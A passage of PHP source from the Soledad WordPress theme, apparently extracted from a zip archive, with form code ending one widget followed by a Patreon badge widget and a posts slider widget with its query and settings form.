                        id="<?php echo esc_attr( $this->get_field_id( 'image_hover' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_hover' ) ); ?>">
					<?php
					$image_hover_o = array(
						'zoom-in'     => 'Zoom-In',
						'zoom-out'    => 'Zoom-out',
						'move-left'   => 'Move to Left',
						'move-right'  => 'Move to Right',
						'move-bottom' => 'Move to Bottom',
						'move-top'    => 'Move to Top',
						'none'        => 'None',
					);
					$this->prs_select_field( $image_hover_o, $image_hover );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'text_overlay' ) ); ?>"><?php esc_html_e( 'Content Text Hover Type', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'text_overlay' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'text_overlay' ) ); ?>">
					<?php
					$text_overlay_o = array(
						'none'    => 'None',
						'show-in' => 'Show on Hover',
						'hide-in' => 'Hide on Hover',
					);
					$this->prs_select_field( $text_overlay_o, $text_overlay );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'text_overlay_ani' ) ); ?>"><?php esc_html_e( 'Content Text Hover Type', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'text_overlay_ani' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'text_overlay_ani' ) ); ?>">
					<?php
					$text_overlay_ani_o = array(
						'movetop'    => 'Move to Top',
						'movebottom' => 'Move to Bottom',
						'moveleft'   => 'Move to Left',
						'moveright'  => 'Move to Right',
						'zoomin'     => 'Zoom In',
						'zoomout'    => 'Zoom Out',
						'fade'       => 'Fade',
					);
					$this->prs_select_field( $text_overlay_ani_o, $text_overlay_ani );
					?>
                </select>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_fsize' ) ); ?>"><?php esc_html_e( 'Font Size for Title (Unit is px)', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'title_fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_fsize' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_fsize'] ); ?>" size="3"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'meta_fsize' ) ); ?>"><?php esc_html_e( 'Font Size for Meta (Unit is px)', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'meta_fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'meta_fsize' ) ); ?>"
                       value="<?php echo esc_attr( $instance['meta_fsize'] ); ?>" size="3"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'desc_fsize' ) ); ?>"><?php esc_html_e( 'Font Size for Description (Unit is px)', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'desc_fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'desc_fsize' ) ); ?>"
                       value="<?php echo esc_attr( $instance['desc_fsize'] ); ?>" size="3"/>
            </p>
			<?php
			$color_fields = [
				'bgtitle_color'       => __( 'Title Color', 'soledad' ),
				'bgtitle_color_hover' => __( 'Title Hover Color', 'soledad' ),
				'bgdesc_color'        => __( 'Term Meta Color', 'soledad' ),
				'bgdesc_link_color'   => __( 'Term Meta Link Color', 'soledad' ),
				'bgdesc_link_hcolor'  => __( 'Term Meta Link Hover Color', 'soledad' ),
				'excerpt_tcolor'      => __( 'Term Description Text Color', 'soledad' ),
			];
			foreach ( $color_fields as $id => $label ) {
				$this->color_field( $id, $label, $instance );
			}
		}
	}
}
?>
PK     N\      inc/widgets/patreon.phpnu [        <?php

add_action( 'widgets_init', 'penci_patreon_load_widget' );

function penci_patreon_load_widget() {
	register_widget( 'penci_patreon_widget' );
}

if ( ! class_exists( 'penci_patreon_widget' ) ) {
	class penci_patreon_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_patreon_widget',
				'description' => esc_html__( 'A widget that displays the Patreon account information.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_patreon_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_patreon_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Paetron', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_patreon_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Paetron', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title       = isset( $instance['title'] ) ? $instance['title'] : '';
			$title       = apply_filters( 'widget_title', $title );
			$button_text = ! empty( $instance['button_text'] ) ? $instance['button_text'] : esc_html__( 'Paetron', 'soledad' );
			$username    = ! empty( $instance['username'] ) ? $instance['username'] : '';

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}
			?>
            <div class="penci-patreon-badge-wrap">

                <a href="https://www.patreon.com/<?php echo $username ?>" rel="external noopener nofollow"
                   target="_blank">
                    <svg width="569px" height="546px" viewBox="0 0 569 546"
                         xmlns="http://www.w3.org/2000/svg"><title><?php echo esc_html( $button_text ) ?></title>
                        <g>
                            <circle data-color="1" id="Oval" cx="362.589996" cy="204.589996" r="204.589996"></circle>
                            <rect data-color="2" id="Rectangle" x="0" y="0" width="100" height="545.799988"></rect>
                        </g>
                    </svg>
                </a>

				<?php
				if ( ! empty( $instance['secondary_text'] ) ) {
					echo '<h4>' . $instance['secondary_text'] . '</h4>';
				}
				?>

                <a href="https://www.patreon.com/<?php echo $username ?>" rel="external noopener nofollow"
                   target="_blank" class="button">
                    <span><?php echo esc_html( $button_text ) ?></span>
                </a>
            </div>
			<?php

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'          => esc_html__( 'Buy Me a Coffee', 'soledad' ),
				'button_text'    => '',
				'secondary_text' => '',
				'username'       => '',
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$title          = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$username       = isset( $instance['username'] ) ? $instance['username'] : '';
			$button_text    = isset( $instance['button_text'] ) ? $instance['button_text'] : '';
			$secondary_text = isset( $instance['secondary_text'] ) ? $instance['secondary_text'] : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo esc_attr( $title ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"><?php esc_html_e( 'Username', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'username' ) ); ?>"
                       value="<?php echo esc_attr( $username ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'button_text' ) ); ?>"><?php esc_html_e( 'Button Text', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'button_text' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'button_text' ) ); ?>"
                       value="<?php echo esc_attr( $button_text ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'secondary_text' ) ); ?>"><?php esc_html_e( 'Secondary Text', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'secondary_text' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'secondary_text' ) ); ?>"
                       value="<?php echo esc_attr( $secondary_text ); ?>" class="widefat" type="text"/>
            </p>

			<?php
		}
	}
}
?>
PK     N\҃q  q  #  inc/widgets/posts_slider_widget.phpnu [        <?php
/**
 * Post slider widget
 * Display recent post or popular post for each category or all posts
 *
 * @package Wordpress
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_slider_posts_news_load_widget' );

function penci_slider_posts_news_load_widget() {
	register_widget( 'penci_slider_posts_news_widget' );
}

if ( ! class_exists( 'penci_slider_posts_news_widget' ) ) {
	class penci_slider_posts_news_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_slider_posts_news_widget',
				'description' => esc_html__( 'A widget that displays your latest/popular posts from all categories or a category with a slider', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_slider_posts_news_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_slider_posts_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Posts Slider', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_slider_posts_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Posts Slider', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title      = isset( $instance['title'] ) ? $instance['title'] : '';
			$title      = apply_filters( 'widget_title', $title );
			$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
			$number     = isset( $instance['number'] ) ? $instance['number'] : 5;
			$orderby    = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
			$order      = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
			$metakey    = isset( $instance['metakey'] ) ? $instance['metakey'] : '';
			$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
			$query_cat  = isset( $instance['query_cat'] ) ? $instance['query_cat'] : '';
			$style      = isset( $instance['style'] ) ? $instance['style'] : 'style-1';
			$date       = isset( $instance['date'] ) ? $instance['date'] : false;
			$image_type = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
			if ( ! $ptype ): $ptype = 'post'; endif;
			$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
			$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
			$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
			$sticky_value = ( false == $sticky ) ? 0 : 1;
			$autoplay     = isset( $instance['autoplay'] ) ? $instance['autoplay'] : '';
			$autoplaydata = ( $autoplay ) ? 'true' : 'false';
			$ptfs         = isset( $instance['ptfs'] ) ? $instance['ptfs'] : '';
			$pmfs         = isset( $instance['pmfs'] ) ? $instance['pmfs'] : '';
			$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
			$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();

			$query = array(
				'posts_per_page'      => $number,
				'post_type'           => $ptype,
				'ignore_sticky_posts' => $sticky_value
			);

			if ( 'post' == $ptype ) {
				if ( isset( $instance['cats_id'] ) ) {
					if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
						$query['category__in'] = $cats_id;
					}
				} else {
					if ( $categories ) {
						$query['cat'] = $categories;
					}
				}

				if ( ! empty( $tags_id ) ) {
					if ( ! in_array( 'all', $tags_id ) ) {
						$query['tag__in'] = $cats_id;
					}
				}
			}

			if ( $query_cat && ( is_category() || is_tag() ) ) {
				$query['post_type'] = 'post';
				$queried_object = get_queried_object();
			
				if ( is_category() ) {
					if ( ! empty( $queried_object->term_id ) ) {
						$query['cat'] = $queried_object->term_id;
					} elseif ( ! empty( $queried_object->slug ) ) {
						$query['category_name'] = $queried_object->slug;
					}
				} elseif ( is_tag() ) {
					if ( ! empty( $queried_object->term_id ) ) {
						$query['tag_id'] = $queried_object->term_id;
					} elseif ( ! empty( $queried_object->slug ) ) {
						$query['tag'] = $queried_object->slug;
					}
				}
			}

			if ( 'popular' == $orderby ) {
				$query['meta_key'] = penci_get_postviews_key();
				$query['orderby']  = 'meta_value_num';
			} elseif ( 'popular_day' == $orderby ) {
				$query['meta_key'] = 'penci_post_day_views_count';
				$query['orderby']  = 'meta_value_num';
			} elseif ( 'popular7' == $orderby ) {
				$query['meta_key'] = 'penci_post_week_views_count';
				$query['orderby']  = 'meta_value_num';
			} elseif ( 'popular_month' == $orderby ) {
				$query['meta_key'] = 'penci_post_month_views_count';
				$query['orderby']  = 'meta_value_num';
			} elseif ( 'jetpack' == $orderby ) {
				$query['meta_key'] = '_jetpack_post_view';
				$query['orderby']  = 'meta_value_num';
			} elseif ( 'metakey' == $orderby && $metakey ) {
				$query['meta_key'] = $metakey;
				$query['orderby']  = 'meta_value_num';
			} else {
				if ( $orderby ) {
					$query['orderby'] = $orderby;
				}
			}

			if ( $order ) {
				$query['order'] = $order;
			}
			if ( $offset ) {
				$query['offset'] = $offset;
			}

			if ( $taxonomy && ( 'post' != $ptype ) ) {
				$taxonomy  = str_replace( ' ', '', $taxonomy );
				$tax_array = explode( ',', $taxonomy );

				foreach ( $tax_array as $tax ) {
					$tax_ids_array = array();
					if ( $tax_ids ) {
						$tax_ids       = str_replace( ' ', '', $tax_ids );
						$tax_ids_array = explode( ',', $tax_ids );
					} else {
						$get_all_terms = get_terms( $tax );
						if ( ! empty( $get_all_terms ) ) {
							foreach ( $get_all_terms as $term ) {
								$tax_ids_array[] = $term->term_id;
							}
						}
					}

					if ( ! empty( $tax_ids_array ) ) {
						$query['tax_query'][] = array(
							'taxonomy' => $tax,
							'field'    => 'term_id',
							'terms'    => $tax_ids_array
						);
					}
				}
			}

			$loop = new WP_Query( $query );
			$rand = rand( 100, 10000 );
			if ( $loop->have_posts() ) :

				/* Before widget (defined by themes). */ echo ent2ncr( $before_widget );

				/* Display the widget title if one was input (before and after defined by themes). */
				if ( $title ) {
					echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
				}
				?>
                <div id="penci-postslidewg-<?php echo sanitize_text_field( $rand ); ?>"
                     class="swiper penci-owl-carousel penci-owl-carousel-slider penci-widget-slider penci-post-slider-<?php echo $style; ?>"
                     data-lazy="true" data-auto="<?php echo $autoplaydata; ?>">
                    <div class="swiper-wrapper">
						<?php while ( $loop->have_posts() ) : $loop->the_post(); ?>
                            <div class="swiper-slide penci-slide-widget">
                                <div class="penci-slide-content">
									<?php if ( $style != 'style-3' ) { ?>

                                        <span <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                                              title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                                                <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                                            </span>

                                        <a href="<?php the_permalink() ?>" class="penci-widget-slider-overlay"
                                           title="<?php the_title(); ?>"></a>
									<?php } else { ?>

                                        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> href="<?php the_permalink() ?>" class="<?php echo penci_layout_bg_class();?> penci-image-holder"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                                        </a>

									<?php } ?>
                                    <div class="penci-widget-slide-detail">
                                        <h4>
                                            <a href="<?php the_permalink() ?>" rel="bookmark"
                                               title="<?php the_title(); ?>"><?php echo sanitize_text_field( wp_trim_words( get_the_title(), 8, '...' ) ); ?></a>
                                        </h4>
										<?php if ( ! $date ): ?>
                                            <span class="slide-item-date"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
                                    </div>
                                </div>
                            </div>
						<?php endwhile; ?>
                    </div>
                </div>

			<?php
			endif;
			wp_reset_postdata();

			$attrstyle = '';
			if ( $ptfs ) {
				$attrstyle .= '#penci-postslidewg-' . $rand . ' .penci-widget-slide-detail h4 a{ font-size: ' . $ptfs . 'px; }';
			}
			if ( $pmfs ) {
				$attrstyle .= '#penci-postslidewg-' . $rand . ' .penci-widget-slide-detail .slide-item-date{ font-size: ' . $pmfs . 'px; }';
			}

			if ( $image_type == 'horizontal' ) {
				$attrstyle .= '#penci-postslidewg-' . sanitize_text_field( $rand ) . ' .penci-image-holder:before{ padding-top: 66.6667%; }';
			} elseif ( $image_type == 'square' ) {
				$attrstyle .= '#penci-postslidewg-' . sanitize_text_field( $rand ) . ' .penci-image-holder:before{ padding-top: 100%; }';
			} elseif ( $image_type == 'vertical' ) {
				$attrstyle .= '#penci-postslidewg-' . sanitize_text_field( $rand ) . ' .penci-image-holder:before{ padding-top: 135.4%; }';
			}

			if ( $attrstyle ) {
				echo '<style type="text/css">' . $attrstyle . '</style>';
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			if ( ! empty( $new_instance['cats_id'] ) ) {
				if ( is_array( $new_instance['cats_id'] ) ) {
					$instance['cats_id'] = implode( ',', $new_instance['cats_id'] );
				} else {
					$instance['cats_id'] = esc_sql( $new_instance['cats_id'] );
				}
			} else {
				$instance['cats_id'] = false;
			}

			if ( ! empty( $new_instance['tags_id'] ) ) {
				if ( is_array( $new_instance['tags_id'] ) ) {
					$instance['tags_id'] = implode( ',', $new_instance['tags_id'] );
				} else {
					$instance['tags_id'] = esc_sql( $new_instance['tags_id'] );
				}
			} else {
				$instance['tags_id'] = false;
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'      => esc_html__( 'Posts Slider', 'soledad' ),
				'autoplay'   => false,
				'ptype'      => '',
				'taxonomy'   => '',
				'tax_ids'    => '',
				'sticky'     => true,
				'orderby'    => 'date',
				'order'      => 'DESC',
				'ptfs'       => '',
				'pmfs'       => '',
				'image_type' => 'default',
				'number'     => 5,
				'offset'     => '',
				'query_cat'  => '',
				'metakey' 	 => '',
				'categories' => '',
				'date'       => false,
				'style'      => 'style-1'
			);

			return $defaults;
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();

			$cats_id = array();
			$tags_id = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['cats_id'] ) ) {
				$cats_id = explode( ',', $instance['cats_id'] );
			}
			if ( isset( $instance['tags_id'] ) && ! empty( $instance['tags_id'] ) ) {
				$tags_id = explode( ',', $instance['tags_id'] );
			}

			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <style>span.description {
                    font-style: italic;
                    font-size: 13px;
                }</style>
            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo sanitize_text_field( $instance['title'] ); ?>"/>
            </p>

            <!-- Style -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>">Select Style for This
                    Slider</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='style-1' <?php if ( 'style-1' == $instance['style'] ): echo 'selected="selected"'; endif; ?>>
                        Style 1
                    </option>
                    <option value='style-2' <?php if ( 'style-2' == $instance['style'] ): echo 'selected="selected"'; endif; ?>>
                        Style 2
                    </option>
                    <option value='style-3' <?php if ( 'style-3' == $instance['style'] ): echo 'selected="selected"'; endif; ?>>
                        Style 3
                    </option>
                </select>
            </p>

            <!-- Category -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>"><?php esc_html_e( 'Include Categories:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'cats_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $cats_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All categories', 'soledad' ); ?></option>
					<?php $categories = get_categories( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $categories as $category ) { ?>
                        <option value='<?php echo esc_attr( $category->term_id ); ?>' <?php if ( in_array( $category->term_id, $cats_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $category->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple categories.', 'soledad' ); ?></span>
            </p>

            <!-- Tags -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>"><?php esc_html_e( 'Include Tags:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'tags_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $tags_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All tags', 'soledad' ); ?></option>
					<?php $tags = get_tags( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $tags as $tag ) { ?>
                        <option value='<?php echo esc_attr( $tag->term_id ); ?>' <?php if ( in_array( $tag->term_id, $tags_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $tag->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple tags.', 'soledad' ); ?></span>
            </p>

            <!-- Custom Post Type -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"><?php esc_html_e( 'Query for Custom Post Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ptype' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ptype'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( '- Default( Posts ) -', 'soledad' ); ?></option>
					<?php $all_post_types = get_post_types( array(
						'public'            => true,
						'show_in_nav_menus' => true
					), 'objects' );
					unset( $all_post_types['post'] );
					if ( ! empty( $all_post_types ) ) {
						foreach ( $all_post_types as $p_type => $ptobject ) {
							?>
                            <option value='<?php echo esc_attr( $p_type ); ?>' <?php if ( $p_type == $instance['ptype'] ) {
								echo 'selected="selected"';
							} ?>><?php echo $ptobject->label; ?></option>
						<?php }
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"><?php esc_html_e( 'Custom taxonomies to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'taxonomy' ) ); ?>"
                       value="<?php echo esc_attr( $instance['taxonomy'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy slug(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"><?php esc_html_e( 'Taxonomy IDs to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'tax_ids' ) ); ?>"
                       value="<?php echo esc_attr( $instance['tax_ids'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy ID(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'query_cat' ) ); ?>"><?php esc_html_e( 'Query Posts Within Current Category?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'query_cat' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'query_cat' ) ); ?>" <?php checked( (bool) $instance['query_cat'], true ); ?> /><br>
                <span class="description"><?php _e( 'When this widget is viewed on a category page, the post query will automatically use the current category\'s slug or ID', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"><?php esc_html_e( 'Ignore Sticky Posts?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'sticky' ) ); ?>" <?php checked( (bool) $instance['sticky'], true ); ?> /><br>
                <span class="description"><?php _e( 'Note that: Ignore sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.', 'soledad' ); ?></span>
            </p>

            <!-- Order by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='date' <?php if ( 'date' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Published Date', 'soledad' ); ?></option>
                    <option value='ID' <?php if ( 'ID' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts ID', 'soledad' ); ?></option>
                    <option value='title' <?php if ( 'title' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts Titles', 'soledad' ); ?></option>
                    <option value='modified' <?php if ( 'modified' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Modified Date', 'soledad' ); ?></option>
                    <option value='comment_count' <?php if ( 'comment_count' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Comment Count', 'soledad' ); ?></option>
                    <option value='popular' <?php if ( 'popular' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Popular Posts All Time', 'soledad' ); ?></option>
                    <option value='popular7' <?php if ( 'popular7' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Popular Posts Once Weekly', 'soledad' ); ?></option>
                    <option value='popular_month' <?php if ( 'popular_month' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Popular Posts Once A Month', 'soledad' ); ?></option>
                    <option value='rand' <?php if ( 'rand' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Random', 'soledad' ); ?></option>
					<option value='metakey' <?php if ( 'metakey' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Custom Meta Key', 'soledad' ); ?></option>
                </select>
            </p>

			<!-- Custom Meta Key -->
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"><?php esc_html_e( 'Custom Meta Key:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'metakey' ) ); ?>"
                       value="<?php echo esc_attr( $instance['metakey'] ); ?>"/>
            </p>

            <!-- Order -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Select Order Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='DESC' <?php if ( 'DESC' == $instance['order'] ) {
